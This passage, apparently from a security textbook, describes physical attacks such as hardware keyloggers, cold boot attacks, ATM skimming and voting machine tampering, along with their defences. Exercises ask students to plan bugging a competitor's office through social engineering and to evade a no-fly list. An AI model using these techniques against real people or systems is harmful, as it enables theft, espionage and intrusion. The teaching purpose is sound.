and a USB cable coming from a keyboard. (See Figure 16.)

Figure 16: A schematic of how a USB keylogger works.

By including circuits that capture keystrokes and store them in a flash
memory, a hardware keylogger can collect and store all the keystrokes
coming from the keyboard over an extended period of time. An attacker can
install a device like this in an Internet cafe, leave it to collect keystrokes for
a week or more, and then come back to retrieve the device and download
all the keystrokes. Thus, an attacker using such a device can hope to collect
passwords and other personal information from the people who use the
compromised keyboard.

While some advanced hardware keyloggers transmit captured text via
wireless technology, most rely on the attacker’s ability to retrieve them at
a later date. After installing the device, it is completely undetectable by
software, and since it operates at the hardware level, it can even record
BIOS passwords entered before booting to the operating system. Because
of this stealth, the best detection method is simple physical inspection, and
the most effective preventative measure is employing strict access control
to prevent physical access to sensitive computer systems.
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4.3 TEMPEST

TEMPEST is a U.S. government code word for a set of standards for
limiting information-carrying electromagnetic emanations from computing
equipment. More broadly, the term “TEMPEST” has come to be used for
the study, limitation, and protection of all types of information-carrying
emanations that come from computing equipment and devices. In terms of
a standard, TEMPEST establishes three zones or levels of protection:

1. An attacker has almost direct contact with the equipment, such as in
an adjacent room or within a meter of the device in the same room.

2. An attacker can get no closer than 20 meters to the equipment or is
blocked by a building to have an equivalent amount of attenuation.

3. An attacker can get no closer than 100 meters to the equipment or is
blocked by a building to have an equivalent amount of attenuation.

To achieve the limits imposed by these three levels of protection, engineers
can use emanation blockage and/or emanation modification.

Emanation Blockage

One approach to limiting the release of information-carrying emanations is
to enclose the computing equipment in a way that blocks those emanations
from escaping into the general environment. Some examples of this type of
emanation limitation include the following:
• To block visible light emanations, we can enclose sensitive equipment

in a windowless room.

• To block acoustic emanations, we can enclose sensitive equipment in
a room lined with sound-dampening materials.

• To block electromagnetic emanations in the electrical cords and ca-
bles, we can make sure every such cord and cable is grounded, so as
to dissipate any electric currents traveling in them that are generated
from external (information-carrying) electromagnetic fields created
by sensitive computing equipment.

• To block electromagnetic emanations in the air, we can surround
sensitive equipment with metallic conductive shielding or a mesh
of such material, where the holes in the mesh are smaller than the
wavelengths of the electromagnetic radiation we wish to block. Such
an enclosure is known as a Faraday cage. (See Figure 17.)
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Figure 17: An example Faraday cage. (Image by M. Junghans; licenced
under the terms of the GNU Free Documentation License, Version 1.2.)

In order for these emanation blockage techniques to work, the sensitive
computing equipment (including all its cables and junction boxes) have
to be completely enclosed. Examples of such enclosures range from a
classified office building, which is completely enclosed in a copper mesh
and has two-pass copper doors for entering and exiting, to a metal-lined
passport wallet, which encloses an RFID passport in a small Faraday cage
so as to block unwanted reading of the RFID tag inside it.

Emanation Masking

Another technique for blocking information-carrying electromagnetic ema-
nations is to mask such emanations by broadcasting similar electromagnetic
signals that are full of random noise. Such emanations will interfere with
the information-carrying ones and mask out the information in these sig-
nals by introducing so much noise that the information-carrying signal is
lost in the cacophony.
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4.4 Live CDs

A live CD is an operating system that can be booted from external media
and resides in memory, without the need for installation. It can be stored
on a CD, DVD, USB drive or any other removable drive from which the
computer can boot. There are many legitimate uses for live CDs, including
diagnostic and software repair purposes. Unfortunately, an attacker can
boot from a live CD, mount the hard disk, and then read or write data,
bypassing any operating system authentication mechanisms. A native
operating system can do nothing to prevent this, because it is never loaded.
Therefore, preventative measures must be built into hardware.

One effective means of preventing a live-CD attack is by installing a
BIOS password. The BIOS is firmware code that is executed immediately
when a machine is turned on and before loading the operating system.
By protecting the BIOS, an attacker is unable to boot the computer without
a password. Note, however, that this does nothing to prevent an attacker
from removing the actual hard drive from the machine, mounting it in
another machine off-site, and then booting to a live CD.

This vulnerability suggests the need for locking mechanisms preventing
access to the interior of a sensitive computer system. Other prevention
tactics include using a built-in hard drive password or utilizing hard disk
encryption technology.

4.5 Computer Forensics

Computer forensics is the practice of obtaining information contained on
an electronic medium, such as computer systems, hard drives, and optical
disks, usually for gathering evidence to be used in legal proceedings.
Unfortunately, many of the advanced techniques used by forensic inves-
tigators for legal proceedings can also be employed by attackers to uncover
sensitive information. Forensic analysis typically involves the physical
inspection of the components of a computer, sometimes at the microscopic
level, but it can also involve electronic inspection of a computer’s parts as
well. (See Figure 18.)

An important principle of computer forensics is to establish, maintain,
and document a chain of custody for the computer hardware being ana-
lyzed so that it can be shown that the items collected remains unaltered
throughout the forensics analysis process.
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Figure 18: Microscopic inspection of a disk drive.

Security Concerns from Computer Forensics

Often, forensic analysis of a system while it is turned on can reveal infor-
mation that would not be obtainable if it were powered off. For example,
online analysis allows an investigator (or attacker) to use tools to examine
or copy the contents of RAM, which is volatile and disappears when the
computer is turned off. By examining RAM, an attacker could uncover
recently entered passwords or other sensitive information that would be
unavailable if the machine were off. In addition, online attacks can often
reveal information about a machine’s presence on a network.

Because computer forensics is designed to provide evidence that is
suitable for use in court, most analysis is performed while the machine is
turned off, in order to establish that its contents have not been altered in the
process of the investigation. By mounting a hard drive in another machine,
most investigators begin by making an exact copy of the entire hard disk
and performing analysis on the copy.

Using forensic techniques, it may be possible to recover data that a user
deleted. File operations on a computer, including reading, writing, and
deleting files, are controlled by a portion of the operating system known
as a filesystem. In the process of deleting a file, many filesystems only
remove the file’s metadata—information about the file including its size,

© JP/Fotolia, LLC–Royalty Free
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location on disk, and other properties—without actually overwriting the
contents of the data on the disk. The space in which the file’s data resides
is freed, in that future file operations are allowed to overwrite it, but until
it is overwritten, the deleted file’s data will remain on the disk. Because of
this, forensic investigators can use tools to analyze the contents of the disk
to uncover “deleted” data.

The typical hard drive uses magnetic disks to retain data. A byproduct
of this medium is that overwriting data may leave faint magnetic indi-
cators of the state of the information bits before they were overwritten.
It is possible that advanced hardware forensics techniques can be used
to recover some overwritten data. With the increasing density of how
information is stored on hard disks, this type of attack has become more
difficult, since the probability of successfully recovering any usable amount
of data by examining microscopic magnetic residue is prohibitively small.
Nonetheless, United States government standards mandate that in order to
safely delete classified information on magnetic media beyond all chance
of recovery, it must be overwritten with multiple passes of random data
or be physically destroyed. Note that flash media, which does not rely on
magnetic disks or tape, is not susceptible to this type of attack—a single
pass of overwriting is sufficient to remove data beyond chance of recovery
in flash memory.

Cold Boot Attacks

In 2008, a team of Princeton researchers presented a technique that can
be used to access the contents of memory after a computer has been shut
down. Dynamic random-access memory (DRAM) is the most common type
of computer memory. DRAM modules are volatile storage, which means
that their contents decay quickly after a computer is turned off. Even so, the
study showed that by cooling DRAM modules to very low temperatures,
the rate of decay can be slowed to the point where the contents of memory
can be reconstructed several minutes after the machine has powered off.

Using this technique, the researchers were able to bypass several pop-
ular drive encryption systems. Their cold boot attack consists of free-
zing the DRAM modules of a running computer by using a refrigerant
(e.g., the liquid contained in canned-air dusters), powering off the compu-
ter, and booting it from a live CD equipped with a program that recon-
structs the memory image and extract the disk encryption key (which was
stored in unencrypted form in memory).
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5 Special-Purpose Machines

There are certain types of computing machines that have a special purpose,
that is, particular jobs that they are specialized to do. These jobs might
involve sensitive information or tasks, of course, which presents particular
security requirements. In this section, we study two such machines—
automated teller machines and voting machines—and we discuss the par-
ticular types of risks that these machines have with respect to both their
physical and digital security.

5.1 Automated Teller Machines

An automatic teller machine (ATM) is any device that allows customers
of financial institutions to complete withdrawal and deposit transactions
without human assistance. Typically, customers insert a magnetic stripe
credit or debit card, enter a PIN, and then deposit or withdraw cash
from their account. The ATM has an internal cryptographic processor
that encrypts the entered PIN and compares it to an encrypted PIN stored
on the card (only for older systems that are not connected to a network)
or in a remote database. The PIN mechanism prevents an attacker with
access to a stolen card from accessing account funds without additional
information. Most financial institutions require a 4-digit numeric PIN,
but many have upgraded to 6 digits. To prevent guessing attacks, many
ATMs stop functioning after several failed PIN attempts. Some retain the
previously inserted card, and require contacting a bank official in order to
retrieve it.

ATM Physical Security

The ATM’s role as a cash repository has made it a popular target for
criminal activity. Several measures are commonly employed to prevent
tampering, theft, and to protect sensitive customer information. Firstly, the
vault, which contains any valuable items such as cash, must be secured.
Vaults are often attached to the floor to prevent casual theft and include
high-security locking mechanisms and sensors to prevent and detect intru-
sion.

While these measures are effective at preventing on-site removal of cash,
they are ineffective at deterring more brazen criminals from using heavy
construction equipment and a large vehicle to uproot and remove an entire
ATM. In some instances, attackers go so far as to drive a vehicle through
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the doors or windows of a financial institution to allow easy access to an
ATM. This technique is known as ram-raiding, and can be prevented by
installing vehicular obstructions such as bollards. Other attacks include us-
ing carefully placed explosives to compromise the vault. To compensate for
an inability to guarantee physical integrity in all situations, most modern
ATMs rely on mechanisms that render their contents unusable in the event
of a breach, such as dye markers that damage any cash inside.

ATM Encryption

To ensure the confidentiality of customer transactions, each ATM has a
cryptographic processor that encrypts all incoming and outgoing informa-
tion, starting the moment a customer enters their PIN. The current industry
standard for ATM transactions is the Triple DES (3DES) cryptosystem, a
legacy symmetric cryptosystem with up to 112 bits of security (See Fig-
ure 19.)

3DES Encryption

ATM

Bank

Figure 19: ATM communications are typically encrypted using the 3DES
symmetric cryptosystem.

The 3DES secret keys installed on an ATM are either loaded on-site by
technicians or downloaded remotely from the ATM vendor. Because the
confidentiality of all transactions on an ATM relies on protecting the secrecy
of the cryptographic keys, any attempts to access the cryptoprocessor will
destroy the keys. It should be noted that since early ATM machines used the
obsolete DES cryptosystem with 56-bit keys, the 3DES cryptosystem was
chosen over the more secure AES cryptosystem because 3DES is backward
compatible with DES and thus moving to 3DES was seen as a simple and
inexpensive way to increase the key size. In addition, AES was not finalized
as a standard until 2001, roughly three years after 3DES was standardized.

(“Bank”) © Zlatko Guzmic/Shutterstock; (“ATM”)
 © Glowimages-Artbox/Alamy
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Attacks on ATMs

There are several techniques used to perpetrate ATM fraud. One popular
attack involves the use of a thin sleeve of plastic or metal known as a
Lebanese loop. A perpetrator inserts this sleeve into the card slot of an
ATM. When a customer attempts to make a transaction and inserts their
credit card, it sits in the inconspicuous sleeve, out of sight from the cus-
tomer, who thinks that the machine has malfunctioned. After the customer
leaves, the perpetrator can then remove the sleeve with the victim’s card.

Another technique makes use of a device known as a skimmer, which
reads and stores magnetic stripe information when a card is swiped. An
attacker can install a skimmer over the card slot of an ATM and store cus-
tomers’ credit information without their knowledge. Later, this information
can be retrieved and used to make duplicates of the original credit cards.

Finally, some scammers may even install fake ATMs in remote locations
to capture both credit/debit cards and PINs at the same time. These fake
ATMs typically respond with a fake error message after the cards and PINs
have been captured, so as not to arouse the suspicions of the users.

In many cases, the card number or physical card is all that is necessary to
make financial transactions, but if an attacker wishes to withdraw money
from an ATM or make a debit transaction, a PIN is also required. Perpe-
trators may employ any number of eavesdropping techniques to acquire
PINs, including installing cameras at ATM locations. Some attackers may
install fake keypads that record customer PINs on entry. Collectively, these
attacks stress the importance of close surveillance at ATM sites. Cameras
and regular security checks are effective at deterring attacks as well as
identifying culprits.

5.2 Voting Machines

Since the 1960s, electronic systems have been used around the world for
another crucial function, voting. Electronic voting systems collect and tally
votes for elections around the world, including the presidential election
in the United States. Clearly, security is paramount—weaknesses could
result in falsified elections and deprive citizens of their rights to voice their
opinions on issues and leaders.

Types of Voting Machines

There are two general types of electronic voting, paper-based and direct-
recording. In a paper-based system, voters submit their votes on a piece
of paper or a punchcard, after which it is counted either by hand or by
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an optical scanner designed to read and tally marked ballots. Paper-based
systems have several advantages, including the fact that most people are
familiar with how they work and they allow for hand recounts.

The other type of voting machine, which is used by many countries, is
the direct-recording system, where votes are submitted and tallied electron-
ically, using touch-screen technology, for example. These systems are faster,
more environmentally friendly, more accessible to handicapped voters, and
ostensibly more accurate, since they remove the additional step of tallying
votes on paper. Nevertheless, these electronic voting systems are not as
amenable to hand recounts, since they don’t provide a paper audit trail.

Voting Machine Security

Both types of electronic voting systems introduce new potential avenues
for electoral fraud. Coordinating an election across a region as large as the
United States requires several steps. First, individual voting machines must
accurately tally individual votes, and be tamper proof. Next, the trans-
mission of vote totals to a centralized location must be done securely and
in a way that prevents alteration of vote tallies. Finally, these centralized
locations must calculate the final totals correctly in a tamper-proof way.

Most electronic voting machines in the United States are manufactured
by Diebold, which is also the largest supplier of ATMs in the country.
These voting machines are made with a closed-source platform, despite
the demands of many information security experts, who claim that public
scrutiny is the only way to verify the safety of electronic voting. Diebold
publicizes that its voting machines use AES encryption to encrypt stored
data, digitally signed memory cards, and Secure Socket Layer (SSL) en-
cryption to transmit vote data. Despite these measures, several researchers
have demonstrated the possibility of tampering with these systems.

A group of Princeton researchers showed that by gaining physical ac-
cess to a Diebold AccuVote-TS voting machine for one minute, an attacker
could introduce malicious code into the machine that allowed the attacker
to manipulate vote totals, delete specific votes, and perform other forms of
voting fraud. Diebold issued a statement that the voting machine used in
the study was obsolete, but the researchers insisted that newer machines
are vulnerable to the same types of attacks. In any case, with an increased
reliance on electronic voting during elections, extensive measures should
be taken to assure the security of this important process.
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6 Physical Intrusion Detection

Intrusion detection systems alert the owners of a facility, information, or
other sensitive resources if that resource’s security has been compromised.
While visible intrusion detection equipment may act as a deterrent, these
systems are primarily intended as a response measure rather than a preven-
tative one. There are typically two parts to any intrusion detection system,
detection and response.

6.1 Video Monitoring

Video monitoring systems are a standard means of intrusion detection. A
network of video cameras remotely accessible via the Internet or a legacy
closed-circuit television (CCTV) system, which uses a proprietary network,
allow a centralized operator to monitor activity in many locations at once.
(See Figure 20.) Most video monitoring systems are effective at providing
evidence of wrongdoing, because videos can be recorded and archived. Of
course, in order to be effective at intrusion detection, such systems require
a human operator to successfully identify malicious activity.

Figure 20: The components in a video monitoring security system.
(surveillance camera) © Huston Brady/Shutterstock; (thief stealing TV)
 © AKS/Fotolia, LLC–Royalty Free; (TV monitor) © Karam Miri/
Shutterstock; (police officer avatar) © Christos Georghiou/Fotolia,

 LLC–Royalty Free
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More advanced video monitoring systems can automatically track
movement across multiple camera zones, eliminating the need for a human
operator. Systems are in development that can detect suspicious behavior
in a crowded area by analyzing body movement patterns or particular
types of clothing. Such methods of intrusion detection are designed to work
automatically, without human assistance. Likewise, a motion sensor is a
device that detects movement in a space using any number of mechanisms.
For example, some sensors use infrared imaging and are triggered by
changes in heat. Other sensors employ ultrasonic technology—the sensor
emits an inaudible sound wave pulse and measures the reflection off objects
in the room. Finally, other systems are triggered by changes in the sound
of a room. In each case, triggered sensors may sound an alarm, either to
deter attackers or alert security staff, activate a video monitoring system to
record the intrusion, or activate additional locking mechanisms to protect
resources or trap the intruder.

Several of the physical intrusion detection mechanisms mentioned
above may be defeated. For example, a CCTV system may fail to provide
crucial evidence if an intruder makes efforts to disguise his or her features,
if cameras are dismantled or otherwise tampered with, or if an intruder
is careful to stay out of sight. Infrared motion sensors may be defeated by
placing a material that prevents the dissipation of body heat, such as a pane
of glass or insulating suit, between the camera and the intruder. Ultrasonic
sensors may be thwarted by using sound-dampening materials to prevent
the pulse of the sensor from detecting the intruder. Finally, audio sensors
can of course be defeated by remaining extremely quiet. Because of the
relative ease of circumvention, most modern intrusion detection systems
employ sensors that use a variety of technologies, making the system much
more difficult to defeat.

Examining physical intrusion detection systems can provide some in-
sights on what makes an effective network intrusion detection system.
Like physical intrusion detection, network intrusion detection can be used
both as a preventative measure (where the response is intended to stop
the intrusion) or as a means of providing important evidence after the
breach (for example, keeping thorough log files). Also, the most effective
network intrusion detection systems do not rely on a single mechanism
to detect a breach, but rather employ a wide variety of techniques to pre-
vent easy circumvention. Nevertheless, both types of systems often fea-
ture a critical component that cannot be overlooked, human involvement.
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6.2 Human Factors and Social Engineering

Despite technological advances, using human guards is still one of the
most common means of detecting intruders. In addition, most response
measures to intrusion are dependent on fast human action. While each tech-
nology has its advantages, humans can adapt in ways that most computers
can’t, giving humans greater flexibility in security applications. Moreover,
human perception can pick up details that computers miss.

Introducing people into a security model can result in a number of
potential problems, however. For example, human-in-the-loop security
solutions are vulnerable to social engineering attacks. Indeed, a major
issue with the human element is reliability. Of course, computers are not
perfect: software often has bugs, hardware occasionally fails, and some-
times systems seem to break without cause. Humans, on the other hand,
may be unreliable for a whole slew of reasons, including improper train-
ing, physical ailment, ulterior motives, or simple lack of judgment. (See
Figure 21.)

Figure 21: An example of a social engineering attack on a security guard:
“Thanks for understanding about me leaving my ID card at home.”

Human reliability also extends to computer security applications—
equipment must be properly configured, monitored, and implemented in
a way that is effective. Many examples of system compromise occur as a
result of a single network administrator failing to install critical security
patches or improperly monitoring server logs. These are mistakes that
can be prevented by placing a high emphasis on training for all personnel,
especially security and systems personnel.
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7 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 Would increasing the number of pins in the design of a pin tumbler
lock increase its security?

R-2 Would increasing the number of available pin heights in the design
of a pin tumbler lock increase its security?

R-3 What do billiards and lock bumping have in common?
R-4 Given a change key for a certain type of lock, describe how to

derive from it a bump key that works with all the locks of that
type.

R-5 What is the full theoretical size of the search space for a pin tumbler
lock that has 30 possible key blanks and 8 pins, each with 12
different distinct heights? What is the corresponding theoretical
size of the search space for the corresponding iterative master-key
construction?

R-6 Consider a pin tumbler lock with 5 pins and 8 pin heights. Explain
why it is not actually possible to have 85 different change keys.

R-7 The Acme Combination is rated as a two-hour lock, meaning that
it takes two hours to crack this lock by an experienced thief. The
Smacme company has a half-hour lock that looks exactly the same
as the Acme lock and is much cheaper to buy. The XYZ Company
wanted to save money, so they bought one Acme lock and one
Smacme lock. They put one on their front door and one on the back
door of their building. Explain how an experienced thief should be
able to break into the XYZ Company’s building in about an hour or
less.

R-8 Explain why storing secret encryption/decryption keys in a remov-
able drive helps defend against cold boot attacks.

R-9 Among radio-frequency, optical, and radio emissions, which poses
the most significant privacy threat for a user? Consider the cases of
a home office, public library, and university department.

R-10 Explain why knowing in which language the user is typing helps
perform an eavesdropping attack based on analyzing acoustic key-
board emissions.
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R-11 Discuss whether barcodes are more or less secure than magnetic
stripe cards.

R-12 Describe an application where smart cards provide sufficient secu-
rity but magnetic stripe cards do not.

R-13 What are the main security vulnerabilities of SIM cards?
R-14 What happens if you accidentally press a car key fob 257 times

while being far away from the car?
R-15 A salesperson at a high-end computer security firm wants to sell

you a protective cover for your passport, which contains an RFID
tag inside storing your sensitive information. The salesperson’s
solution costs “only” $79.99 and protects your passport from being
read via radio waves while it is in your pocket. Explain how you
can achieve the same thing for under $3.00.

R-16 How can you check if a public computer has a USB keylogger
installed?

R-17 Describe which properties, such as universality, distinctiveness,
etc., each of the following biometric identification characteristics
do and do not possess: DNA, dental x-ray, fingernail length, and
blood type.

Creativity

C-1 Describe a simple modification of the design of pin tumbler locks
to defend against lock-bumping attacks.

C-2 For safety reasons, external locked doors on commercial buildings
have mechanisms for people on the inside to escape without using
a key or combination. One common mechanism uses an infrared
motion detector to open an electronic lock for people moving to-
wards a door from the inside. Explain how an air gap under such
an external door could be exploited to open that door from the
outside?

C-3 A group of n pirates has a treasure chest and one unique lock and
key for each pirate. Using hardware that is probably already lying
around their ship, they want to protect the chest so that any single
pirate can open the chest using his lock and key. How do they set
this up?

C-4 A group of n red pirates and a group of n blue pirates have a shared
treasure chest and one unique lock and key for each pirate. Using
hardware that is probably already lying around their two ships,
they want to protect the chest so that any pair of pirates, one red
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and one blue, can open the chest using their two locks and keys, but
no group of red or blue pirates can open the chest without having at
least one pirate from the other group. How do they set this up?

C-5 A group of four pirates has a treasure chest and one unique lock
and key for each pirate. Using hardware that is probably already
lying around their ship, they want to protect the chest so that
any subset of three of these pirates can open the chest using their
respective locks and keys, but no two pirates can. How do they set
this up?

C-6 A thief walks up to an electronic lock with a 10-digit keypad and
he notices that all but three of the keys are covered in dust while
the 2, 4, 6, and 8 keys show considerable wear. He thus can safely
assume that the 4-digit code that opens the door must be made up
of these numbers in some order. What is the worst case number
of combinations he must now test to try to open this lock using a
brute-force attack?

C-7 You want to plant a bug in Company X’s office to acquire business
intelligence because they are a competitor. The package needs to
get into their server room and get hooked up to sensitive hardware.
You know the complex hires several guards from a private security
company that regularly patrol and check for authentication by
using well-known badges. You know that they regularly outsource
several functions including janitorial staff, pest control, and pur-
chasing IT equipment (think Staples delivery trucks). These jobs
have a high turnover rate, but require authentication in order to get
access to the premises in the form of a work order for IT supplies
and pest control. The janitorial staff is a recurring service, but
with a lower turnover rate. They are also periodically inspected
by officials like the city or OSHA (Occupational Safety and Health
Administration, an agency of the United States Department of
Labor), but are usually provided with advanced notice of their
arrival. What is your high-level plan of action? A guard challenges
you when you enter, how do you continue your mission? What is
your legend? What is your story? Why is this a good plan? What
are your options for acquiring access to sensitive areas? You realize
you are a target to this attack. How will you defend against it?

C-8 You are planning an urban exploration journey into the abandoned
train tunnel of Providence. It has two ends, one of which is in
a place you vaguely know, in the woods off the road, and the
other is near a moderately populated street corner. Each end is
secured with a simple padlock. The doors are clearly marked
“no trespassing.” Which end do you select and why? How do
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you justify being at the end of the tunnel if you are observed and
questioned? What are some of the dangers of this operation? What
time of day do you go on this trip? Weekday or weekend?

C-9 A variation of the following biometric authentication protocol was
experimentally tested several years ago at immigration check-
points in major U.S. airports. A user registers in person by show-
ing her credentials (e.g., passport and visa) to the registration
authority and giving her fingerprint (a “palmprint” was actually
used). The registration authority then issues to the user a tamper-
resistant smartcard that stores the reference fingerprint vector and
can execute the matching algorithm. The checkpoint is equipped
with a tamper resistant admission device that contains a fingerprint
reader and a smartcard reader. The user inserts her smartcard
and provides her fingerprint to the device, which forwards it to
the smartcard. The smartcard executes the comparison algorithms
and outputs the result (“match” or “no match”) to the device,
which admits or rejects the user accordingly. Clearly, an attacker
can defeat this scheme by programming a smartcard that always
outputs “match.” Show how to modify the scheme to make it more
secure. Namely, the admission device needs to make sure that
it is interacting with a valid smartcard issued by the registration
authority. You can assume that the smartcard can perform cryp-
tographic computations and that the admission device knows the
public key of the registration authority. The attacker can program
smartcards and is allowed to have an input-output interaction with
a valid smartcard but cannot obtain the data stored inside it.

C-10 To save on the cost of production and distribution of magnetic
stripe cards, a bank decides to replace ATM cards with printed two-
dimensional barcodes, which customers can download securely
from the bank web site, and to equip ATM machines with barcode
scanners. Assume that the barcode contains the same information
previously written to the magnetic stripe of the ATM card. Discuss
whether this system is more or less secure than traditional ATM
cards.

C-11 A bank wants to store the account number of its customers (an 8-
digit number) in encrypted form on magnetic stripe ATM cards.
Discuss the security of the following methods for storing the ac-
count number against an attacker who can read the magnetic
stripe: (1) store a cryptographic hash of the account number; (2)
store the ciphertext of the account number encrypted with the
bank’s public key using a public-key cryptosystem; (3) store the
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ciphertext of the account number encrypted with the bank’s secret
key using a symmetric cryptosystem.

C-12 Consider the following security measures for airline travel. A list
of names of people who are not allowed to fly is maintained by
the government and given to the airlines; people whose names
are on the list are not allowed to make flight reservations. Before
entering the departure area of the airport, passengers go through
a security check where they have to present a government-issued
ID and a boarding pass. Before boarding a flight, passengers must
present a boarding pass, which is scanned to verify the reservation.
Show how someone who is on the no-fly list can manage to fly
provided boarding passes can be printed online. Which additional
security measures should be implemented in order to eliminate this
vulnerability?

C-13 Develop a multiuser car-entry system based on RFID fobs. The
system should support up to four distinct key fobs.

C-14 Consider the following simple protocol intended to allow an RFID
reader to authenticate an RFID tag. The protocol assumes that the
tag can store a 32-bit secret key, s, shared with the reader, perform
XOR operations, and receive and transmit via radio 32-bit values.
The reader generates a random 32-bit challenge x and transmits
y = x ⊕ s to the tag. The tag computes z = y ⊕ s and sends z
to the reader. The reader authenticates the tag if z = x. Show
that a passive eavesdropper that observes a single execution of the
protocol can recover key s and impersonate the tag. What if the tag
and reader share two secret keys s1 and s2, the reader sends x⊕ s1
and the tag responds with x⊕ s2 after recovering x?

C-15 Passports are printed on special paper and have various anti-
counterfeiting physical features. Develop a print-your-own pass-
port pilot program where a passport is a digitally signed document
that can be printed by the passport holder on standard paper.
You can assume that border control checkpoints have the follow-
ing hardware and software: two-dimensional barcode scanner,
color monitor, cryptographic software, and the public keys of the
passport-issuing authorities of all the countries participating in the
pilot program. Describe the technology and analyze its security
and usability. Is your system more or less secure than traditional
passports?

C-16 Unlike passwords, biometric templates cannot be stored in hashed
form, since the biometric reading does not have to match the
template exactly. A fuzzy commitment method for a biometric
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template can be developed from an error correcting code and a
cryptographic hash function. Let f be the decoding function, h
be the hash function, and w be a random codeword. A fuzzy
commitment for template t is the pair (h(w), δ), where δ = t− w.
A reading t′ is accepted as matching template t if h(w′) = h(w),
where w′ = f (t′ − δ). Analyze the security and privacy properties
of the scheme. In particular, show how this scheme protects the
privacy of the template and accepts only readings close to the
template (according to the error-correcting code).

Projects

P-1 Write a detailed comparison of the features of two high-security
locks, Medeco M3 and Abloy. Discuss whether they are resilient to
the attacks described in this chapter.
Java

P-2 Using the Java Card Development Kit, implement a vending card
application that supports the following operations: add value to
the card, pay for a purchase, and display the available balance.
The vending card should authenticate and distinguish between
two types of readers, those that can add value and those that can
decrease value. Both readers can obtain balance information.

P-3 Design and implement a program simulating the main security
functions of an ATM machine. In particular, your system should
authenticate users based on a PIN and should transmit data to
the bank in encrypted form. You should reduce the sensitive
information stored by the ATM machine in between transactions
to a minimum.

P-4 Write a term paper that discusses the different kinds of RFIDs,
including both self-powered and not. Address privacy concerns
raised by wide-spread RFID use, such as in e-passports. Use
research articles available on the Internet as source material.

P-5 Using a conductive material, such as aluminum foil, construct a
Faraday cage. Make it big enough to hold a cellphone or portable
FM radio receiver and confirm that it blocks RF signals to such de-
vices. Next, experiment with the size of holes in the exterior, to find
the size of holes that allows RF signals to reach the device inside.
Write a report documenting your construction and experiments.
Include photographs if possible.
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Chapter Notes

Jennie Rogers contributed material to Section 2 (Locks and Safes). Basics lock
picking techniques are described in course notes by Matt Blaze [8] and in the”
Guide to Lock Picking” by Ted Tool [102]. For more information on safe-cracking,
refer to the paper “Safe-cracking for the Computer Scientist” by Matt Blaze [9].
The attack on the Medeco Biaxial system for locks is due to Tobias and Bluz-
manis [101] The iterative master-key construction attack is presented by Matt
Blaze [7]. The differential power analysis technique is described by Kocher,
Jaffe and Jun [49]. Messerges, Dabbish and Sloan have done pioneering work
on side-channels attacks on smart cards, showing that the RSA cryptosystem is
vulnerable to differential power analysis [59]. An overview of GSM’s encryption
technology is provided in Jeremy Quirke’s article “Security in the GSM System”
[80]. Cloning techniques for GSM SIM cards based on side-channel attacks are
presented by Rao, Rohatgi, Scherzer and Tinguely [81]. Several attacks have been
demonstrated that completely compromise the KeeLoq and DST algorithms used
in popular RFID devices [11, 19, 42, 67]. Jain, Ross and Prabhakar provide an
overview of the subject of biometric recognition [43]. The collection of articles
edited by Tuyls, Skoric and Kevenaar provides an advanced coverage of the
subject of privacy protection for biometric authentication [104]. Di Crescenzo,
Graveman, Ge and Arce propose a formal model and efficient constructions of
approximate message authentication codes, with applications to private biometric
authentication [25]. Wim van Eck pioneered the technique of eavesdropping on
CRT displays by analyzing their radio frequency emissions [105]. Markus Kuhn
has done notable work on eavesdropping techniques using radio frequency and
optical emissions [50, 51, 52]. Adi Shamir and Eran Tromer have investigated
acoustic cryptanalysis of CPUs [90]. Acoustic eavesdropping attacks on keyboards
are discussed by Asonov and Agrawal [2] and by Zhuang, Zhou and Tygar [111].
A survey of results on acoustic eavesdropping is written by Adi Purwono [79].
Wright, Kleiman, and Shyaam debunk the myth of the possibility of data recovery
after more than one pass of overwriting [110]. The cold boot attack to recover
cryptographic keys from the RAM of a computer is due to Halderman et al. [38].
Electronic voting technologies and their risks are discussed in the book “Brave
New Ballot” by Avi Rubin [85]. A security study by Feldman, Halderman and
Felten found significant vulnerabilities in a Diebold voting machine [29].
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1 Operating Systems Concepts

An operating system (OS) provides the interface between the users of a
computer and that computer’s hardware. In particular, an operating system
manages the ways applications access the resources in a computer, includ-
ing its disk drives, CPU, main memory, input devices, output devices, and
network interfaces. It is the “glue” that allows users and applications
to interact with the hardware of a computer. Operating systems allow
application developers to write programs without having to handle low-
level details such as how to deal with every possible hardware device,
like the hundreds of different kinds of printers that a user could possibly
connect to his or her computer. Thus, operating systems allow application
programs to be run by users in a relatively simple and consistent way.

Operating systems handle a staggering number of complex tasks, many
of which are directly related to fundamental security problems. For ex-
ample, operating systems must allow for multiple users with potentially
different levels of access to the same computer. For instance, a university
lab typically allows multiple users to access computer resources, with some
of these users, for instance, being students, some being faculty, and some
being administrators that maintain these computers. Each different type of
user has potentially unique needs and rights with respect to computational
resources, and it is the operating system’s job to make sure these rights and
needs are respected while also avoiding malicious activities.

In addition to allowing for multiple users, operating systems also allow
multiple application programs to run at the same time, which is a concept
known as multitasking. This technique is extremely useful, of course, and
not just because we often like to simultaneously listen to music, read email,
and surf the Web on the same machine. Nevertheless, this ability has an
implied security need of protecting each running application from interfer-
ence by other, potentially malicious, applications. Moreover, applications
running on the same computer, even if they are not running at the same
time, might have access to shared resources, like the filesystem. Thus, the
operating system should have measures in place so that applications can’t
maliciously or mistakenly damage resources needed by other applications.

These fundamental issues have shaped the development of operating
systems over the last decades. In this chapter, we explore the topic of
operating system security, studying how operating systems work, how they
are attacked, and how they are protected. We begin our study by discussing
some of the fundamental concepts present in operating systems.
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1.1 The Kernel and Input/Output

The kernel is the core component of the operating system. It handles the
management of low-level hardware resources, including memory, proces-
sors, and input/output (I/O) devices, such as a keyboard, mouse, or video
display. Most operating systems define the tasks associated with the kernel
in terms of a layer metaphor, with the hardware components, such as the
CPU, memory, and input/output devices being on the bottom, and users
and applications being on the top.

The operating system sits in the middle, split between its kernel, which
sits just above the computer hardware, and nonessential operating system
services (like the program that prints the items in a folder as pretty icons),
which interface with the kernel. The exact implementation details of the
kernel vary among different operating systems, and the amount of respon-
sibility that should be placed on the kernel as opposed to other layers of
the operating system has been a subject of much debate among experts. In
any case, the kernel creates the environment in which ordinary programs,
called userland applications, can run. (See Figure 1.)
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Figure 1: The layers of a computer system.

Input/Output Devices

The input/output devices of a computer include things like its keyboard,
mouse, video display, and network card, as well as other more optional
devices, like a scanner, Wi-Fi interface, video camera, USB ports, and other
input/output ports. Each such device is represented in an operating system
using a device driver, which encapsulates the details of how interaction
with that device should be done. The application programmer interface
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(API), which the device drivers present to application programs, allows
those programs to interact with those devices at a fairly high level, while
